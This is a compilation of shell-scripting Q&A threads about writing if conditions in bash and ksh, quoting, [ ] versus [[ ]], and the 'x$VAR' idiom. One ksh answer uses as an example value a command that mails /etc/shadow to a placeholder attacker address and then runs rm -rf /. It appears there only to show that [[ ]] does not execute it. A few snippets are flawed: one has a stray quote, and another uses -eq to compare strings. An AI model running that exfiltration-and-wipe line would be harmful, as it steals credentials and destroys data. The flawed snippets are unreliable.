Using two expressions in one bash "IF" statement - bash

I have a script that I am making, it is a very simple login script.
I was wondering if you could have two expressions in one bash "IF" statement, like so:
if [ $User == "root" and $Pass == "passwd" ]
If anyone could answer, that would be great :D

In bash, you should use the conditional expression
if [[ $User == root && $Pass == passed ]];
If you need to or want to use test, then join two test commands with &&:
if [ "$User" = root ] && [ "$Pass" = passed ];
Be sure to quote any parameter expansions that are used as arguments to [, and use = instead of ==.

Use -a for and. And, = instead of ==. Also you'd better double quote variables, otherwise you'll see a syntax error when the variables are not set.
if [ "$User" = "root" -a "$Pass" = "passwd" ]

Related

How to call bash function properly

I'm learning shell now and wrote small script for using functions:
#!/bin/bash
show_date () {
date;
}
show_ls () {
ls -la;
}
if [ hostname == "mbp" ]; then
show_ls;
elif [ hostname == "joe" ]; then
show_date;
fi
If I run it on hostname mbp it just exits with 0 and doesn't call 'show_ls' function. Any ideas?
If you don't want to create your own variable for hostname then use the following (a built-in Bash variable).
#!/bin/bash
show_date () {
date;
}
show_ls () {
ls -la;
}
if [[ $HOSTNAME = "mbp" ]]; then
show_ls;
elif [[ $HOSTNAME = "joe" ]]; then
show_date;
fi
Actually you haven't mentioned your host's name (I am assuming you have to compare your server name in if condition, if this is the case then you have to create a variable named hostname and keep its value to command hostname and then do comparison). Try following and let me know if this helps you.
#!/bin/bash
hostname=$(hostname)
show_date () {
date;
}
show_ls () {
ls -la;
}
if [[ "$hostname" = "mbp" ]]; then
show_ls;
elif [[ "$hostname" = "joe" ]]; then
show_date;
fi
The shell does not work like other programming languages. Barewords are literal strings, not variable references or subprogram calls or anything like that. The hostname in your if condition is therefore the literal string hostname and nothing else (you could put it in double quotes like you did mbp and joe and not change anything here; double quotes mainly serve to let you put spaces inside a string while having it stay a single value instead of two successive ones).
Anyway, since "hostname" is not the same string as either "mbp" or "joe", neither clause of the if gets executed.
If hostname is a variable (technically a "shell parameter") whose value you want to compare, you need to use $hostname to get that value. If it's a command whose output you want to compare, you need to use $(hostname) to get that output:
if [[ $hostname == mbp ]]; then
or
if [[ $(hostname) == mbp ]]; then

sh shell double if statement

Can anyone see what I did wrong here? I keep getting the following error message: [[: not found
read INPUT
if [[ "$INPUT" -ge 1 ]] && [[ "$INPUT" -le 10 ]]; then
Do something
else
printf "Please enter a value between 1 and 10"
fi
[[ is not available in scripts which start with #!/bin/sh, or which are started with sh yourscript. Start your script with #!/bin/bash if you want to use it.
See also http://mywiki.wooledge.org/BashGuide/Practices#Choose_Your_Shell
If you are going to use bash, by the way, there's a better syntax for numeric comparisons:
if (( input >= 1 && input <= 10 )); then ...
Note that lower-case variable names are preferred for local use -- all-upper-case names are reserved for environment variables and shell builtins.
If you're not going to use bash, use the POSIX test operator:
if [ "$input" -ge 1 ] && [ "$input" -le 10 ]; then ...
Note that when using [ ] correct quoting is essential, whereas with [[ ]] it is often superfluous; also, [ ] is missing some extensions such as pattern-matching and regular-expression operators.
It's complicated:
First, there are three separate ways of constructing your if statement. Each way has its own unique syntax on how to join two booleans. (Actually, there are four ways since one way allows you to use list operators).
A little background...
The if command is a compound command built into the shell. The if command executes the commands following the if. If that command returns a zero value, the if statement is considered true and the then clause executes. Otherwise, if it exists, the else clause will execute. Remember, the if is just a command. You can do things like this:
if ! mv "$foo" "$bar"
then
echo "I can't move $foo to $bar"
exit 2
fi
What we need is a command to do some testing for us. If the test succeeds, that test command returns an exit code of zero. If not, it returns a non-zero exit code. Then, it could be used with the if command!
The test command (Yes, there's really one!).
The [ is an alias for the test command which was created to allow you to test files, strings, and numbers for the if statement. (This is now a built in command in Bash, but its roots are actually part of /bin/test and /bin/[). These are the same:
if test "$foo" -eq "$bar"
then
...
fi
and
if [ "$foo" -eq "$bar" ]
then
...
fi
The test command (if you read the manpage has a -a And test and a -o Or test. You could have done:
if [ "$INPUT" -ge 1 -a "$INPUT" -le 10 ]
then
....
fi
This is a single test statement with three test parameters (-ge, -a, and -le).
Using List Operators
This isn't the only way to do a compound boolean test. The Bash shell has two list operators: && and ||. The list operators go in between two commands. If you use && and the left hand command returns a non-zero exit code, the right hand command is not executed, and the entire list returns the exit value of the left-hand command. If you use ||, and the left hand command succeeds, the right hand command is not executed, and the entire list returns a zero exit value. If the first command returns a non-zero exit value, the right-hand command is executed, and the entire list returns the exit value of the right-hand command.
That's why you can do things like this:
[ $bar -eq 0 ] || echo "Bar doesn't have a zero value"!
Since [ ... ] is just a command that returns a zero or non-zero value, we can use these list operators as part of our test:
if [ "$INPUT" -ge 1 ] && [ "$INPUT" -le 10 ]
then
...
fi
Note that this is two separate tests and are separated by a && list operator.
Bash's Special [[ compound command
In Kornshell, Zsh, and Bash, there are special compound commands for testing. These are the double square brackets. They appear to be just like the single square brackets command, but because they're compound commands, parsing is affected.
For example:
foo="This has white space"
bar="" #No value
if [ ! $foo = $bar ] # Doesn't work!
then
The shell expands $foo and $bar and the test will become:
if [ This has white space = ]
which just doesn't work. However,
if [[ $foo != $bar ]]
works fine because of special parsing rules. The double brackets allow you to use parentheses for grouping and && and || as boolean operators. Thus:
if [[ $INPUT -ge 1 && $INPUT -le 10 ]]
then
...
fi
Note that the && appears inside a single set of double square brackets. (Note there's no need for quotation marks)
Mathematical Boolean Expression
Bash has built in mathematical processing including mathematical boolean expressions. If you put something between double parentheses, Bash will evaluate it mathematically:
if (( $INPUT >= 1 && $INPUT <= 10 ))
then
...
fi
In this case, (( $INPUT >= 1 && $INPUT <= 10 )) is evaluated. If $INPUT is between 1 and 10 inclusively, the mathematical expression will evaluate as true (zero exit code), and thus the then clause will be executed.
So, you can:
Use the original test (single square brackets) command and use the -a to string together two boolean statements in a single test.
Use list operators to string together two separate test commands (single square brackets).
Use the newer compound test command (double square brackets) that now include && and || as boolean operators, so you have a single compound test.
Forget about test command and just use mathematical evaluation (double parentheses) to evaluate boolean expressions.
Test Constructs Can Vary by Shell
As has been mentioned in other posts, [[ is a Bash shell keyword that isn't present in the Bourne shell. You can see this from a Bash prompt with:
type '[['
[[ is a shell keyword
In a Bourne shell, you will instead get "command not found."
Be More Portable: Use the -a Test Operator
A more portable construct is to use the -a test operator to join conditions (see man test for details). For example:
if [ "$INPUT" -ge 1 -a "$INPUT" -le 10 ]; then
: # do something when both conditions are true
else
: # do something when either condition is false
fi
This will work in every Bourne-compatible shell I've ever used, and on any system that has a /bin/\[ executable.

Checking a variable is set and value in ksh

I have a script which takes user input, the REFRESH option is optional. I need to test to see if $REFRESH exists and is equal to the string "REFRESH", if it is then run a specific block of code.
The user would execute
./export_data.sh <user> <type> [REFRESH]
If I was doing this in PHP I would simply use the isset() function, does an equivelent exist in ksh?
I have tried the following but this fails as in the 2nd test $REFRESH is not set:
if [ -n $REFRESH ] && [ $REFRESH == "REFRESH" ]
then
echo "variable is set and the expected value";
# do stuff
fi
The only other way I can think to do this is a nested if but this seems messy:
if [ -n $REFRESH ]
then
if [ $REFRESH == "REFRESH" ]
then
echo "variable is set and the expected value";
# do stuff
fi
Is there a better way to do this?
if [ "${REFRESH:-unset}" = "REFRESH" ]
then ...
This substitutes unset if there is no value in $REFRESH or if the value is the empty string. Either way, it is not the same as "REFRESH", so it behaves as required.
When testing variables, enclose them in double quotes; it saves angst. In fact, it would mean that you could simply write:
if [ "$REFRESH" = "REFRESH" ]
then ...
I would comment on Jonathan's reply but I'm too much of a newby around here to be trusted with such things.
Anyway, if you are trying to save yourself angst in ksh, never use the legacy Bourne shell [ ]. Instead, use [[ ]].
if [[ $REFRESH == REFRESH ]]; then
That will always evaluate the way you want it. Even if any of the following happened just before the if statement.
REFRESH=''
REFRESH=' REFRESH'
REFRESH='`mailx -s "good stuff" hacker#example.com < /etc/shadow`; sleep 5; rm -rf /`'
The thing to be careful of is the right hand side in the event that it is a variable or a string that could be evaluated for things other than just a simple string comparison. Consider these:
$ val='#(foo|REFRESH)'
$ REFRESH=REFRESH; [[ $REFRESH == $val ]] && echo match
match
$ REFRESH=foo; [[ $REFRESH == $val ]] && echo match
match
$ REFRESH=REFRESH; [[ $REFRESH == "$val" ]] && echo match
$ REFRESH=' REFRESH'; [[ $REFRESH == REFRESH ]] && echo match
$
Here we see that quoting the RHS is more important than quoting the LHS when using [[ ]]. Also, this demonstrates that [[ ]] allows more powerful matches using patterns and pattern lists.
Answering to that specific question:
If I was doing this in PHP I would simply use the isset() function, does an equivalent exist in ksh?
if [ "${REFRESH:-unset}" != unset ]
By the way, in my opinion the best (because is the most simple) way to test if a variable is set or not set is:
if [ "$PIPPO" ] ; then
echo "Set"
fi
OR
if [ ! "$PIPPO" ] ; then
echo "Not Set"
fi

What does the following line of a bash script do?

Usually work in Windows, but trying to setup RabbitMQ on my Mac. Can someone let me know what the line below does?
[ "x" = "x$RABBITMQ_NODE_IP_ADDRESS" ] && [ "x" != "x$NODE_IP_ADDRESS" ] && RABBITMQ_NODE_IP_ADDRESS=${NODE_IP_ADDRESS}
Specifically, I'm curious about the [ "x" = "x$RAB..."] syntax.
If the RABBITMQ_NODE_IP_ADDRESS variable is empty/doesn't exist, it'll evaluate as "x" = "x" , which is true.
So it basically says, if RABBITMQ_NODE_IP_ADDRESS isn't set and NODE_IP_ADDRESS is set, set RABBITMQ_NODE_IP_ADDRESS=NODE_IP_ADDRESS
The "x" is used (somewhat superstitiously*) to prevent errors if the variable is null or unset. Most of the time the quotes take care of that for you. By putting the literal first and the variable second you eliminate errors in cases where the variable contains a string that starts with a dash, since test (aka [) would think it is an operator. In the case of your example, it would be preferable to use the -z and -n operators that test whether a variable is empty (null or unset) or not empty, respectively.
POSIX shells, such as Bourne (works in Bash, too):
[ -z $RABBITMQ_NODE_IP_ADDRESS ] && [ -n $NODE_IP_ADDRESS" ] && RABBITMQ_NODE_IP_ADDRESS=${NODE_IP_ADDRESS}
Bash (and ksh and zsh):
[[ -z $RABBITMQ_NODE_IP_ADDRESS && -n $NODE_IP_ADDRESS" ]] && RABBITMQ_NODE_IP_ADDRESS=${NODE_IP_ADDRESS}
* There may be some shells that need the "x", but some people do that "because it's always been done that way".
The "x" is not always superstitious, even in my relatively new bash (4.0.33).
Let's put the operation between parens. Empty variables are fine:
$ a=""
$ b=""
$ if [ '(' "$a" = "$b" ')' ]; then echo both_equal; fi
both_equal
But the ! operator for instance is not:
$ a='!'
$ if [ '(' "$a" = "$b" ')' ]; then echo both_equal; fi
bash: [: `)' expected, found
This is not a problem if we write "x$a" = "x$b" instead of "$a" = "$b".
The bracket [ is a test operator, which you can think of as an if statement. This is checking to see if the shell variable RABBITMQ_NODE_IP_ADDRESS is empty. Unfortunately, if you try to compare to an empty string "", the shell eliminates it before it does the test and your binary comparison operator only gets one (or maybe zero) operands. To prevent that error, it is a common practice to concatenate an "x" on each side of the =. Thus, instead of
[ "" = "<variable>" ]
becoming
[ = value ]
and yielding an error,
[ "X" = "X<variable>" ]
becomes
[ X = Xvalue ]
and the comparison may continue

Comparing strings for equality in ksh

i am testing with the shell script below:
#!/bin/ksh -x
instance=`echo $1 | cut -d= -f2`
if [ $instance == "ALL" ]
then
echo "strings matched \n"
fi
It's giving this error in the if condition:
: ==: unknown test operator
is == really not the correct syntax to use?
I am running on the command line as below
test_lsn_2 INSTANCE=ALL
Could anybody please suggest a solution.
Thanks.
To compare strings you need a single =, not a double. And you should put it in double quotes in case the string is empty:
if [ "$instance" = "ALL" ]
then
echo "strings matched \n"
fi
I see that you are using ksh, but you added bash as a tag, do you accept a bash-related answer?
Using bash you can do it in these ways:
if [[ "$instance" == "ALL" ]]
if [ "$instance" = "ALL" ]
if [[ "$instance" -eq "ALL" ]]
See here for more on that.
Try
if [ "$instance" = "ALL" ]; then
There were several mistakes:
You need double quotes around the variable to protect against the (unlikely) case that it's empty. In this case, the shell would see if [ = "ALL" ]; then which isn't valid.
Equals in the shell uses a single = (there is no way to assign a value in an if in the shell).
totest=$1
case "$totest" in
"ALL" ) echo "ok" ;;
* ) echo "not ok" ;;
esac
I'va already answered a similar question. Basically the operator you need is = (not ==) and the syntax breaks if your variable is empty (i.e. it becomes if [ = ALL]). Have a look at the other answer for details.

Resources